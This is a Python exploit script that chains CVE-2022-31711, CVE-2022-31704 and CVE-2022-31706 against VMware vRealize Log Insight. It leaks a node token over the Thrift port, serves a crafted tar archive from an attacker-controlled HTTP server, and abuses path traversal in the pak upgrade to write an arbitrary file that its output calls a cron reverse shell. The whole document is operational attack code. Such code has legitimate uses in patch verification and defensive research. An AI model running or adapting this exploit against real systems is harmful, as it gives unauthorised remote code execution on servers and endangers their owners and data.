import argparse import os import sys import http.server import tarfile import queue import tempfile import threading import re sys.path.append("gen-py") from loginsight import DaemonCommands from loginsight.ttypes import * from thrift.transport import TSocket from thrift.transport import TTransport from thrift.protocol import TBinaryProtocol def parse_args(): parser = argparse.ArgumentParser() parser.add_argument("--target_address", required=True, help="Target IP address of VMware vRealize Log Insight") parser.add_argument("--target_port", type=int, default=16520, help="Target Thrift port") parser.add_argument("--http_server_address", required=True, help="Local IP address to use for HTTP payload sever") parser.add_argument("--http_server_port", required=True, help="Port to use for local HTTP payload server") parser.add_argument("--payload_file", required=True, help="File from which to read the payload contents") parser.add_argument("--payload_path", required=True, help="Full file system path where payload should be written") return parser.parse_args() def create_malicious_tar(payload, payload_path): with tarfile.open("exploit.tar", 'w') as malicious_tar: # Just use 'fr_eula.txt` for files where we don't care about # the content. It is important that we don't use the actual context # so a real upgrade doesn't happen for arcname in ['upgrade-image-8.10.2-21145187.rpm', 'upgrade-driver', 'eula.txt']: malicious_tar.add('fr_eula.txt', arcname=arcname) # Add the files where we want the same content for arcname in ['VMware-vRealize-Log-Insight.cert', 'VMware-vRealize-Log-Insight.mf']: malicious_tar.add(arcname, arcname=arcname) # Add our payload malicious_tar.add(payload, ("../../" + payload_path).replace("//", "/")) def remote_pak_download(client, node_token, http_server_address, http_server_port): command = Command() command.commandType = 9 download_command = RemotePakDownloadCommand() download_command.sourceNodeToken = node_token # The remote system does not return an error if this url is incorrect. # It just silently fails download_command.requestUrl = f"http://{http_server_address}:{http_server_port}/exploit.tar" download_command.fileName = "exploit" command.remotePakDownloadCommand = download_command command_with_timeout = CommandWithTimeout() command_with_timeout.command = command command_with_timeout.timeoutMillis = 2000 with http.server.HTTPServer((http_server_address, int(http_server_port)), http.server.SimpleHTTPRequestHandler) as httpd: def send_remote_pak_download_command(client, command, q): q.put(client.runCommand(command)) q = queue.Queue() client_thread = threading.Thread( target=send_remote_pak_download_command, args=(client, command_with_timeout, q)) client_thread.start() httpd.handle_request() client_thread.join() response = q.get() if response.commandHandle.error is not None: raise Exception(f"Unable to initiate remote pak download: {response.commandHandle.error}") def pak_upgrade(client): command = Command() command.commandType = 8 pak_upgrade_command = PakUpgradeCommand() pak_upgrade_command.fileName = "exploit.pak" pak_upgrade_command.eulaOnly = False pak_upgrade_command.outputFile = "hello" pak_upgrade_command.outputOnly = False pak_upgrade_command.locale = "eng" pak_upgrade_command.forceInstall = False command.pakUpgradeCommand = pak_upgrade_command command_with_timeout = CommandWithTimeout() command_with_timeout.command = command command_with_timeout.timeoutMillis = 2000 response = client.runCommand(command_with_timeout) if not "The PAK file is corrupted" in response.commandStatus.exitedCommandStatus.lastStatusUpdate.statusMessage: print(response.commandStatus.exitedCommandStatus.lastStatusUpdate.statusMessage) raise Exception("Failed to trigger directory traversal") def get_node_token(client): config_response = client.getConfig(GetConfigRequest()) node_type = client.getNodeType() if node_type == StrataNodeType.STANDALONE: # TODO use health status instead regex = re.compile(r'token=\"([^\"]*)') match = regex.search(config_response.configBlob) if not match: raise Exception("Unable to find token in config") return match.group(1) elif node_type == StrataNodeType.WORKER: print("Worker node, getting master token") # TODO test return config_response.masterToken else: raise Exception("Unknown node type") def main(): args = parse_args() # Add payload create_malicious_tar(args.payload_file, args.payload_path) trans = TSocket.TSocket(args.target_address, int(args.target_port)) trans = TTransport.TFramedTransport(trans) proto = TBinaryProtocol.TBinaryProtocol(trans) client = DaemonCommands.Client(proto) trans.open() print("[+] Using CVE-2022-31711 to leak node token") node_token = get_node_token(client) print(f"[+] Found node token: {node_token}") print("[+] Using CVE-2022-31704 to trigger malicious file download") remote_pak_download( client, node_token, args.http_server_address, args.http_server_port ) print("[+] File successfully downloaded") print("[+] Using CVE-2022-31706 to trigger directory traversal and write cron reverse shell") pak_upgrade(client) print("[+] Payload successfully delivered") trans.close() if __name__ == "__main__": main()